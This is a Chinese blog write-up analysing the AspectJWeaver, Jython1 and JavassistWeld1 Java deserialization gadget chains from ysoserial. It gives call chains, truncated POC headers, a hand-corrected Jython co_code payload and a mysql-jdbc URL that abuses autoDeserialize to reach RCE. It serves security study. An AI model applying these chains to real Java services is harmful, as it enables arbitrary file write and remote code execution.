前言
继续分析最后yso中最后四个Gadgets
AspectJWeaver
AspectJ 是 Eclipse 基金组织的开源项目,它是 Java 语言的一个 AOP 实现,是最早、功能比较强大的 AOP 实现之一,对整套 AOP 机制都有较好的实现,很多其他语言的 AOP 实现也借鉴或者采纳了 AspectJ 中的很多设计。在 Java 领域,AspectJ 中的很多语法结构基本上已经成为 AOP 领域的标准。
这条链子比较有意思,是一条任意文件写的链子,且出现在2021 AntCTF x D^3CTF
的non RCE?
这题中,出题师傅们拓宽了这条链子的攻击面,提出了在内嵌的java web容器(embeded java web容器)中从任意文件写到RCE的方式,主要有以下三种,需要结合题目的环境(mysql-jdbc反序列化、embeded tomcat)
- 反序列化加载恶意类。第一次反序列化的时候写入恶意类,第二次反序列化的时候反序列化该恶意类,可以执行该恶意类的readObject方法。
- 业务中使用class.forName,且类参数可控。比如
jdbc:mysql://x.x.x.x:3307/test?autoDeserialize5=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_URLDNS_http://x.x.x.x statementInterceptors
参数传入的就是一个类名,且会被传入forName方法中。 - 触发未被使用的类加载。利用的是JVM的缓存加载机制,简单来说就是一开始并不会加载初始化所有的类,而是加载初始化被使用到的类,其他类在后续使用时才会加载,比如一些异常类,当触发该异常时,才会进行加载。
前置
SimpleCache$StoreableCachingMap
org.aspectj.weaver.tools.cache.SimpleCache
这个类提供了缓存键值对的值内容到文件中的功能,其中键值对存方法在内部类StoreableCachingMap
中,该类并没有实现Map,但定义了和Map类似的方法,这里重点关注一下put
方法
再跟进一下writeToPath
方法,可以看到以key作为文件名,加上可控的成员变量folder
和文件分隔符(/
或者\
),这样就可以实现任意文件路径可控,然后写入byte[]
形式的value值
复用CC5/6的LazyMap
连接SimpleCache$StoreableCachingMap#put
可以使用CC1中的LazyMap来连接。
在CC1中,LazyMap是调用的get
方法来连接transform链,而实际上,在调用完transform后,会将方法的返回值作为value,然后调用map.put(key,value)
来存。所以这里我们控制map为SimpleCache$StoreableCachingMap
,factory.transform(key)
的返回值为要写入的内容byte[]
,key为传下来的文件名
所以这里还要解决一下key
的参数传递问题,我们来看一下CC链中使用了LazyMap的部分:
- CC1:
Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get()
,参数无法传递 - CC5:
BadAttributeValueExpException.readObject() -> TiedMapEntry.toString() -> TiedMapEntry#getValue() -> LazyMap.get()
,在TiedMapEntry#getValue()
处,是单参数可控的 - CC6简化链:
HashMap.readObject() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get()
,解决CC5需要jdk > 8u76的问题
所以我们这里选择CC6来复用效果最佳
而控制factory.transform(key)
就使用CC1中的ConstantTransformer
即可
利用链
1 | HashMap.readObject() |
POC
1 | public class AspectJWeaverCC6 { |
Jython
Jython是Python编程语言的JVM实现。 它旨在在Java平台上运行。 Jython程序可以导入和使用任何Java类。 就像Java一样,Jython程序编译为bytecode。
Jython最重要的特性之一是它能够在Python程序中导入Java类。 我们可以在Jython中导入任何java包或类,就像在Java程序中一样。
Jython是python2的java实现,而python3.x还在开发中,所以python代码需要使用python2的语法
相关教程可以参考
前置
基本用法
和大部分的基于jvm的脚本语言(Groovy、Clojure、BeanShell)类似,Jython也是解释型语言,解析并执行基本上都离不开:对象的映射(java Object -> PyObject)、解析器(PythonInterpreter)、上下文、在java中执行的API(eval、exec等)
Jython中提供了三种执行python代码的方式
- eval:简单的表达式执行,有点类似于python shell
- exec:直接执行python字符串代码
- execfile:执行文件中的python代码
示例用法如下:
1 | PythonInterpreter interpreter = new PythonInterpreter(); |
PyFunction
这个类是Jython中python函数的封装实现,所有的python类型都是对象,所以PyFunction也继承了PyObject,而PyObject实现了Serializable接口,是可以被序列化的。既然是python函数的封装,必然存放了函数的相关信息,具体来看下其构造方法中设置的成员变量,这里解释一些主要的
__globals__
:PyStringMap对象,保存函数的上下文空间(作用域内的变量等),供函数使用__name__
:函数名__doc__
:函数文档__code__
:PyCode类型,存放函数主体代码,根据不同的PyCode子类形式存放
根据上面示例代码可以知道,调用PyFunction.__call__
方法可以执行python函数,实际上是调用的PyCode#call
方法来执行的,而PythonInterpreter#exec
等,底层实际也是调用的PyCode#call
注意到PyFunction
还实现了InvocationHandler
,所以可以作为一个代理类的handler,具体看一下invoke方法
- 如果被代理方法的所属类是Object的话,那么直接反射调用
- 否则,调用前面说的
PyFunctio.__call__
来执行,并传入经过Object[] -> PyObject[]
转化的参数
所以这里可以是一个动态代理的触发点,那么和之前的链子一样,可以选择HashMap
代理Map#entrySet
或者PriorityQueue
代理Comparator#compare
PyCode
前面提到了__code__
以PyCode
的形式保存真正的函数代码,而再细分一些有两种代码形式:PyByteCode
和PyTableCode
我们先来看看PyTableCode
。这个类有一个成员变量funcs
,是PyFunctionTable
类型的,调用PyTableCode#call
实际上会委托调用PyFunctionTable#call_function
方法去处理。
但是PyFunctionTable
是个抽象类,在idea中查找其子类,会发现找不到。因为该类的子类是通过ASM的方式从字节码中动态生成类或调用defineClass
来定义生成的,具体逻辑在org.python.core.BytecodeLoader#makeCode
方法。而以字节码方式动态生成的类,是没办法readObject
来反序列化的,所以PyTableCode
这个子类走不通。
但是PyByteCode
可以实现我们的目的,关于PyByteCode的初始化及其成员变量,需要先了解一下.pyc
文件和PyCodeObject
的结构:
字段 | 类型 | 描述 |
---|---|---|
MAGIC | long | 魔数,区别不同版本的Python字节码 |
MTIME | long | 修改时间 |
TYPE_CODE | byte | 表示这是一个PyCodeObject对象 |
co_argcount | long | 【PyCodeObject】位置参数个数 |
co_nlocals | long | 【PyCodeObject】局部变量个数 |
co_stacksize | long | 【PyCodeObject】栈大小 |
co_flags | long | 【PyCodeObject】 |
TYPE_STRING | byte | 表示这是一个字符串,对应PyCodeObject的co_code |
co_code size | long | |
co_code value | bytes | |
TYPE_LIST | byte | 这是一个列表 |
co_consts size | long | 列表co_consts的元素个数 |
TYPE_INT | byte | |
co_consts[0] | long | co_consts[0]是一个整型 |
TYPE_STRING | byte | |
co_consts[1] size | long | co_consts[1]是一个字符串 |
co_consts[1] value | bytes | |
TYPE_CODE | byte | |
co_consts[2] | long | co_consts[2]又是一个PyCodeObject,它对应的代码可能是一个函数或类 |
可以通过python来打印出上述信息,注意要使用python2,否则打印出的co_code
部分会不一样
1 | import dis |
根据以上参数,对应Jython中PyByteCode
的成员变量名即可完成初始化。
无法序列化的依赖
如果我们是将如下这段代码作为我们的恶意python函数的话
1 | def hack(): |
会出现无法序列化的报错。
原因是 Jython 有一个类 org.python.modules.posix.PosixModule
,其用于封装python的os
包的函数,即将os
包的函数映射在PosixModule
类的对应方法中
而在实际调用时,用org.python.core.PyReflectedFunction
这个类来封装,然后通过反射来执行PosixModule
类中对于的方法,而PyReflectedFunction
这个类会保存方法调用所需的参数,是ReflectedArgs
类型存放,而该类没有实现Serializable接口,是无法被反序列化的,所以会报错。
也就是说,只要调用经过PyReflectedFunction封装的类(如PosixModule)对应的python包(如os),都无法进行序列化,这对我们payload的构造造成了极大的限制,再具体一点就是,如果我们在python代码中import os
,并调用os.xxx
,这样就不行
但是调用execfile
执行python文件中的内容就不会受到此限制,所以我们可以通过以下方式来实现os库的调用
1 | def execEvil(a, b): |
前面的生成PyByteCode
初始化参数的代码就是这里的,直接拿来初始化即可。
错误的co_code
如果用上面生成的co_code来写在payload中的话,即这个co_code
1 | 7400007c00006401008302007d02007c02006a01007c0100830100017c02006a0200830000017403007c00008301000164000053 |
会报错
1 | java.lang.ArrayIndexOutOfBoundsException: java.lang.ArrayIndexOutOfBoundsException: -1 |
定位一下报错点,发现是字处理pyc字节码的过程中,从stack中弹出了越界的元素。
可是对照前面得到的字节码分析列表,下面部分的数据怎么看都没有错。而且尝试替换了stacksize为其他更大的数,仍然无果(当然这样换肯定不行)
字节码对应的是opcode和操作数,于是便照着这两个java生成的字节码序列和前面python dis生成的opcode和操作数列表去调试了一下Jython的解析字节码过程
1 | [116, 0, 0, 124, 0, 0, 100, 1, 0, -125, 2, 0, 125, 2, 0, 124, 2, 0, 106, 1, 0, 124, 1, 0, -125, 1, 0, 1, 124, 2, 0, 106, 2, 0, -125, 0, 0, 1, 116, 3, 0, 124, 0, 0, -125, 1, 0, 1, 100, 0, 0, 83] |
在这其中就发现了问题,当执行完STORE_FAST
向堆栈中存入f变量后,发现接下来调用的是COMPARE_OP
(106)而不是LOAD_FAST
(105),然后经过替换,得到的co_code和java字节码如下
1 | 7400007c00006401008302007d02007c02006901007c0100830100017c0200690200830000017403007c00008301000164000053 |
此时用上面的co_code去写payload就可以顺利弹出计算机了。
也就是说,通过python的
execEvil.__code__.co_code.encode('hex')
(python2)生成的co_code并不是完全正确的,需要对照dis.dis(execEvil.__code__)
取手动修正
利用链
1 | PriorityQueue.readObject() |
POC
1 | public class Jython1 { |
JavassistWeld
前置
InterceptorMethodHandler
在javassist包中有javassist.util.proxy.MethodHandler
类和javassist.util.proxy.Proxy
类,类似于java.lang.reflect包中的InvocationHandler和Proxy,MethodHandle
定义了invoke方法,子类InterceptorMethodHandler
实现invoke方法且实现了Serializable接口,但其实invoke方法并不会像真正的handler那样在动态代理中调用,这里不是主要的关注点,我们需要关注一下executeInterception
方法
解读一下这个方法干了啥:
- 从
InterceptionModel
中取出所有的InterceptorMetadata
,赋值给interceptorList
- 遍历所有的
InterceptorMetadata
,从其中取出SimpleInterceptorInvocation
或CustomInterceptorInvocation
,将每一个都封装后存入interceptorInvocations
- 用
interceptorInvocations
实例化责任链对象SimpleInterceptionChain
,初始化时,会将存在interceptorInvocations
中的每一个InterceptorInvocation
取出对应的InterceptorMethodInvocation
集合,然后保存在成员变量interceptorMethodInvocations
中,每一个InterceptorMethodInvocation
都会作为责任链的一员 - 调用
SimpleInterceptionChain#invokeNextInterceptor
方法触发责任链的调用,依次调用责任链成员的invoke方法,也就是InterceptorMethodInvocation#invoke
方法
而在InterceptorMethodHandler
的readObject方法中,也调用了executeInterception
再接着往下看,InterceptorMethodInvocation
有两个子实现类,看一下SimpleMethodInvocation
,其对应的是SimpleInterceptorInvocation
可以看到invoke方法中有反射调用,且instance可控,再看一下method.getJavaMethod()
,即调用DefaultMethodMetadata#getJavaMethod
方法
也是完全可控的,所以这里可以作为我们的Sink点。
这样一来,全是围绕着InterceptorMethodHandler
去构造的链子,所以链子也不是很难,难的是写POC,这里就直接搬yso的POC了
利用链
1 | InterceptorMethodHandler.readObject() |
POC
1 | public class JavassistWeld1 { |